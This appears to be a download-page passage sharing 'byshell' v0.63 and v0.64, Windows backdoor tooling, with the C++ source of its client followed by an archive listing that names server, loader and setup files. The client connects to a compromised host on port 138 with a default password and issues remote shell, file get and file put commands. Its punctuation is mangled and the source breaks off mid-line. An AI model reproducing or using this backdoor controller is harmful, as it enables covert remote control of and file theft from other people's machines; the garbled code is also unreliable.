byshell

包括byshell 063和064两个版本

//byshell v0.63 cli

#include 
#include 
#pragma comment（lib “ws2_32.lib“）
#include 
#include 
#include 
char pwd[16]=“by“;char buff[66000]={0};char ip[31]={0};HANDLE filefp;unsigned int packnum=0;
char work（char * workbuffunsigned int workbufflenchar workflagint * psendlength）;
void helpview（void）;

void main（void）{int ret;char workflag=0;
//printf（“\tbyshell client ver 0.63\ntype HELP to view the detailed manual.\n“）;
printf（“please input the server ip address\n“）;
gets（ip）;printf（“%s will be connected\n“ip）;
WSADATA WSAData;WSAStartup（MAKEWORD（22）&WSAData）;
SOCKET sock=socket（AF_INETSOCK_STREAM0）;
sockaddr_in cliaddr;memset（&cliaddr0sizeof（struct sockaddr_in））;
cliaddr.sin_family= AF_INET;
cliaddr.sin_port =0;
cliaddr.sin_addr.S_un.S_addr = INADDR_ANY;
sockaddr_in srvaddr;memset（&srvaddr0sizeof（struct sockaddr_in））;
srvaddr.sin_family= AF_INET;
srvaddr.sin_port = htons（138）;
srvaddr.sin_addr.S_un.S_addr = inet_addr（ip）;
bind（sock（struct sockaddr *）&cliaddrsizeof（struct sockaddr））;
ret=connect（sock（struct sockaddr *）&srvaddrsizeof（struct sockaddr））;
if（ret==-1）{printf（“connect failedcheck your network and remote ip.“）;exit（0）;}
printf（“input the password（the default one is \‘by\‘）\n“）;
gets（pwd）;int sendlength=65536;int recvlen=0;
//gets not include the \rbut scanf will
while（1）{strncpy（buffpwd16）;//copy pass before workfor chpass
workflag=work（buff+32recvlen-32workflag&sendlength）;sendlength+=32;
memcpy（buff+28&sendlength4）;
if（sendlength!=send（sockbuffsendlength0））{printf（“fatal error in transmission\n“）;exit（0）;}
memset（buff065536）; recvlen=recv（sockbuff655360）;int duelen;memcpy（&duelenbuff+284）;
while（duelen>recvlen）{recvlen+=recv（sockbuff+recvlen65536-recvlen0）;}//solve data division
}
}
//__finally{closesocket（sock）;}

//now these are work codes.
char work（char * workbuffunsigned int workbufflenchar workflagint * psendlength）{

if（workflag==0）{printf（“%s“workbuff）;
lab1: memset（workbuff065536）;printf（“#“）;gets（workbuff）;*psendlength=strlen（workbuff）;
if（!strncmp（workbuff“HELP“4） || !strncmp（workbuff“help“4））{helpview（）;goto lab1;}
if（!strncmp（workbuff“shell“5））{return 1;}
if（!strncmp（workbuff“chpass“6））{strncpy（pwdworkbuff+616）;return 0;}
//get\tDES\tSRC
if（!strncmp（workbuff“get“3））{packnum=0;char desfile[255]={0};char srcfile[255]={0};
	sscanf（workbuff“get\t%s\t%s“desfilesrcfile）;
	filefp=CreateFile（desfileGENERIC_WRITE00CREATE_ALWAYSFILE_ATTRIBUTE_NORMAL0）;
	memset（workbuff+30514）;strcat（workbuffsrcfile）;*psendlength=strlen（workbuff）;
	return 2;}
//put\tDES\tSRC
if（!strncmp（workbuff“put“3））{packnum=0;char desfile[255]={0};char srcfile[255]={0};
	sscanf（workbuff“put\t%s\t%s“desfilesrcfile）;
	filefp=CreateFile（srcfileGENERIC_READ00OPEN_EXISTINGFILE_ATTRIBUTE_NORMAL0）;
	if（filefp==INVALID_HANDLE_VALUE）{printf（“no such local file.\n“）;goto lab1;}
	m

 属性            大小     日期    时间   名称
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     目录          0  2004-12-25 13:21  byshell064

     文件      13131  2004-12-25 13:20  byshell064\064cli.cpp

     文件      49152  2004-12-23 23:17  byshell064\by064cli.exe

     文件      15251  2004-12-25 13:20  byshell064\byloader.cpp

     文件       3283  2004-12-25 13:45  byshell064\byreadme064.txt

     文件      45519  2004-12-25 13:21  byshell064\ntboot.cpp

     文件      69632  2004-12-23 22:23  byshell064\ntboot.dll

     文件      32768  2004-12-23 10:41  byshell064\ntboot.exe

     文件         15  2004-12-23 23:08  byshell064\setup.bat

     文件      10071  2004-12-23 23:01  byshell063\063cli.cpp

     文件      49152  2004-12-23 23:01  byshell063\by063cli.exe

     文件      16332  2008-05-11 19:14  byshell063\byloader.cpp

     文件       3099  2004-12-25 13:28  byshell063\byreadme063.txt

     文件      43515  2004-12-25 13:22  byshell063\ntboot.cpp

     文件      69632  2004-12-23 14:44  byshell063\ntboot.dll

     文件      32768  2004-12-23 10:41  byshell063\ntboot.exe

     文件         15  2004-12-23 23:08  byshell063\setup.bat

     目录          0  2008-05-11 18:24  byshell063

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